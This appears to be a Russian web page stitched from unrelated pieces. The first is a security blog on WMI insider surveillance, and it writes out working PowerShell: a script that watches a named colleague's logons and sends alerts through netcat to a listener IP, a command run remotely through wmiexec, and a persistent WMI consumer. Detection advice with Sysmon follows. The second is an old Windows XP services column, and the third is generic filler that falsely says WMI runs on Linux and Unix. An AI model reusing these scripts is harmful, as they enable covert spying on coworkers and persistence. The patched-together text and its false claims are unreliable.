Windows management instrumentation service по русски

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.

Краткий обзор: что такое WMI и для чего он нужен?

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action 

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

• для сбора информации о статусе локальных и удаленных компьютерных систем
• настройки параметров безопасности для удаленных компьютеров и приложений
• настройки и редактирования свойств системы
• настройки и редактирования разрешений для авторизованных пользователей и групп
• выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
• назначения и редактирования меток дисков
• создания графика выполнения процессов
• резервного копирования репозиториев объектов
• включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

• Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
• Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
• Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
• Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
• Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
• Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
• Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
• API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
• Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

1. Откройте командную строку
2. Введите WMIC для вызова программы и нажмите клавишу Enter
3. Появится окно командной строки WMIC
4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:

   WMIC CPU

5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Постоянные события: советы для ИТ-администраторов

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.

(Окончание. Начало в №19)

«Мы строили, строили и,
наконец, построили!», — сказал
когда-то Чебурашка. А мы добрались
до конца списка стандартных
сервисов Windows XP, и сегодня
рассмотрим их завершающую порцию.

Performance Logs and Alerts
Русское название: Журналы и
оповещения производительности

Эта служба необходима, как видно
из её названия, для
функционирования журналов
производительности компьютера.
Сбор данных о производительности
системы может осуществляться не
только локально, но и удалённо. Так
что если эту службу отключить, то
данные эти, соответственно,
собираться не будут. В принципе,
если вы желаете сэкономить память,
то имеет смысл отключать этот
сервис.

Terminal Services
Русское название:
Терминальные службы

Эта служба нужна для работы таких
функций Windows, как удалённое
администрирование, удалённый
рабочий стол, удалённый помощник и
быстрое переключение между
учётными записями пользователей.
Исходя из этого я бы не
рекомендовал отключать данную
службу иначе, чем в условиях
жёсткой экономии памяти.

Themes
Русское название: Темы

Предназначение у этого сервиса
очень и очень простое и будет
понятно даже начинающим
пользователям. Он нужен для того,
чтобы ваша Windows XP могла
использовать темы оформления и,
таким образом, выглядеть всё же
привлекательнее, чем Windows 95. Но если
вы не чувствуете себя эстетом, то и
сервис этот вполне можно отключить.

Telephony
Русское название: Телефония

Как видно из, опять-таки,
говорящего названия этого сервиса,
он нужен программам, которые
работают с телефонными
устройствами. Так что для того,
чтобы работал сервис, позволяющий
программам работать с факсом, а
также сервис подключений
удаленного доступа, службу эту
нужно держать включённой.

Distributed Link Tracking Client
Русское название: Клиент
слежения за изменившимися связями

Этот сервис понадобится тогда,
когда вы копируете файлы с одного
диска с системой NTFS на другой с ней
же, или даже при копии с компьютера
на компьютер в пределах одного
домена. Так что лучше её не
отключать.

Universal Plug and Play Device Host
Русское название: Узел
универсальных Plug and Play устройств

Эта служба нужна для поддержки
устройств, которые подключаются к
компьютеру удалённо через
локальную сеть. Соответственно,
если вы подобными устройствами не
пользуетесь, то от выключения
данного сервиса не пострадаете.

Uninterruptible Power Supply
Русское название: Источники
бесперебойного питания

В наши дни, когда из-за не
сохранённого вовремя файла можно
потерпеть весьма и весьма солидные
убытки, никому не нужно объяснять,
что такое источники бесперебойного
питания. Именно для их поддержки и
нужна данная служба в Windows. Если вы
источниками бесперебойного
питания не пользуетесь, то и сервис
этот можно отключить.

Volume Shadow Copy
Русское название: Теневое
копирование тома

Ещё одна служба, которая поможет с
теневым копированием. Она
управляет созданием точек
состояния корневых томов, которые
могут использоваться для
архивирования или резервного
копирования данных.
Соответственно, если вы отключите
эту службу, то резервное
копирование и восстановление будут
недоступны, так что лучше её,
соответственно, не отключать.

WebClient
Русское название: Web-клиент

Эта служба нужна тем
Windows-приложениям, которые для своей
работы используют доступ в
Интернет. Поскольку сейчас таких
приложений не просто много, а очень
много, то отключение данной службы
приведёт к недоступности части их
функций или к полной потере
функциональности. Вывод
напрашивается сам собой: не
отключать данную службу.

Windows Management Instrumentation
Русское название: Инструменты
управления Windows

Этот сервис, имея очень
интригующее название, описывается
в официальной документации Microsoft
ничуть не менее интригующе. Самый
главный вывод из этого описания
такой: если отключить данный
сервис, многие приложения будут
работать некорректно. То есть,
выключать его совсем не
рекомендуется.

Windows Management Instrumentation Driver Extension
Русское название: Расширение
драйверов WMI

Для обмена управляющей
информации с устройствами
предыдущий сервис использует эту
службу с длинным и хитрым
названием. Соответственно,
выключать его не рекомендуется.

Portable Media Serial Number Service
Русское название: Серийные
номера переносных устройств

Данный сервис получает серийные
номера портативных мультимедийных
устройств, подключаемых к
компьютеру (например, музыкальных
плееров). Соответственно, если вы
подключаете к компьютеру подобные
устройства, то данный сервис должен
быть включён.

Security Center
Русское название: Центр
обеспечения безопасности

Эта служба занимается крайне
полезным делом: надоедает
пользователю уведомлениями о том,
что у него отключен брандмауэр и не
установлен антивирус. Брандмауэры
и антивирусы производства не Microsoft,
по-видимому, не в счёт. Лично я эту
службу отключил сразу после
установки системы, что и вам
сделать также советую.

Windows Time
Русское название: Служба
времени Windows

Синхронизация даты и времени в
сети — вещь весьма и весьма
полезная. Именно ей и занята данная
служба. При её отключении дата и
время перестанут
синхронизироваться.

WMI Performance Adapter
Русское название: Адаптер
производительности WMI

Эта служба предоставляет
информацию о библиотеках
производительности от провайдеров
WMI HiPerf. Отключать её не стоит,
поскольку возможны проблемы с
определением производительности
устройств.

Wireless Zero Configuration
Русское название:
Беспроводная настройка

Эта служба нужна для
автоматического конфигурирования
WiFi-адаптеров. Соответственно, если
подобными адаптерами вы не
пользуетесь, то вполне можно
сэкономить ресурсы, отключив эту
службу.

Вадим СТАНКЕВИЧ,
dreamdrusch@tut.by

Служба Windows Management Instrumentation (WMI) является одной из ключевых компонентов операционной системы Windows. Она предоставляет разработчикам и администраторам возможность управлять и мониторить различные аспекты компьютерной системы, включая аппаратное обеспечение, операционную систему и программное обеспечение.

WMI представляет собой стандартизированный интерфейс, который позволяет приложениям взаимодействовать с различными компонентами операционной системы Windows. Она использует язык запросов WQL (WMI Query Language) для получения информации о системе и выполнения различных операций.

Одной из особенностей WMI является возможность получения информации о системе в реальном времени. С помощью WMI можно получить данные о процессоре, памяти, жёстком диске, сетевых адаптерах и других аппаратных компонентах компьютера, а также о программном обеспечении, установленном на компьютере.

Используя службу WMI, администраторы и разработчики могут автоматизировать множество задач, связанных с управлением и контролем компьютерной системы. Например, с помощью WMI можно удаленно запустить или остановить процесс, создать новую задачу планировщика, выполнить инвентаризацию программного обеспечения на компьютерах в сети и многое другое.

Особенности службы WMI

Служба WMI (Windows Management Instrumentation) предоставляет мощный набор инструментов и возможностей для управления и мониторинга Windows-систем. Ее особенности включают следующее:

1. Кросс-платформенность: Служба WMI доступна на различных операционных системах, включая все версии Windows, а также Linux и Unix. Это делает ее универсальным инструментом для работы с системными ресурсами и данными на разных платформах.

2. Поддержка стандартов: WMI полностью совместима с открытыми стандартами управления системами, такими как Common Information Model (CIM) и Web-Based Enterprise Management (WBEM). Это обеспечивает совместимость и интеграцию с другими инструментами управления и мониторинга.

3. Расширяемость: Служба WMI позволяет расширять функциональность с помощью создания пользовательских классов и объектов. Это позволяет адаптировать WMI для конкретных потребностей и задач системного администрирования.

4. Удобный доступ к данным: WMI предоставляет программный интерфейс (API) для работы с данными и ресурсами системы. Он позволяет получать информацию о состоянии системы, настраивать параметры и выполнять действия через стандартные запросы, используя SQL-подобный язык запросов (WQL).

5. Система событий: WMI поддерживает событийную модель, которая позволяет отслеживать изменения в системе и реагировать на них. Это позволяет создавать автоматизированные скрипты и задачи, которые выполняются при определенных событиях, таких как изменение состояния процесса или запуск нового приложения.

6. Широкий спектр функциональности: WMI может использоваться для управления различными аспектами системы, включая службы, процессы, файловые системы, сетевые настройки, аппаратное обеспечение и др. Это позволяет выполнять широкий спектр задач, связанных с администрированием и мониторингом системы.

Служба WMI представляет собой мощный инструмент для управления и мониторинга систем Windows и обладает множеством полезных особенностей, которые делают ее неотъемлемой частью системного администрирования.

Как работает служба WMI?

Служба WMI (Windows Management Instrumentation) предоставляет инструменты для управления и мониторинга компьютерных систем и приложений в операционных системах Windows. Она позволяет получать информацию о текущем состоянии системы, настраивать ее параметры и выполнять различные операции управления.

Основной принцип работы службы WMI заключается в использовании объектной модели WMI, которая представляет компьютерные ресурсы и данные в виде объектов и классов. Каждый класс содержит свойства (атрибуты) и методы, с помощью которых можно получать и изменять информацию о ресурсах системы.

Для работы с WMI можно использовать различные инструменты, такие как PowerShell, WMI-скрипты, WMI-консоль. Они позволяют выполнять запросы к WMI-серверу, получать информацию о доступных классах и объектах, получать значения свойств, вызывать методы и т.д.

Служба WMI является важной частью операционной системы Windows и используется различными приложениями и сервисами для управления системой. Она предоставляет удобный интерфейс для мониторинга и управления различными аспектами системы, что позволяет администраторам и разработчикам эффективно работать с компьютерной инфраструктурой.

Принципы работы службы WMI

Принцип работы WMI основан на использовании объектно-ориентированной модели, где каждый компонент системы представлен в виде объекта. Эти объекты предоставляют информацию о различных аспектах компьютера, таких как процессоры, оперативная память, дисковые накопители, сетевые адаптеры и другие компоненты.

Служба WMI предоставляет интерфейс для работы с этими объектами, что позволяет разработчикам и системным администраторам получать доступ к информации о состоянии и управлять ресурсами компьютера.

Взаимодействие с WMI осуществляется посредством запросов, которые передаются через интерфейс WMI. Запросы могут быть выполнены с помощью различных языков программирования, таких как C#, PowerShell, VBScript и др.

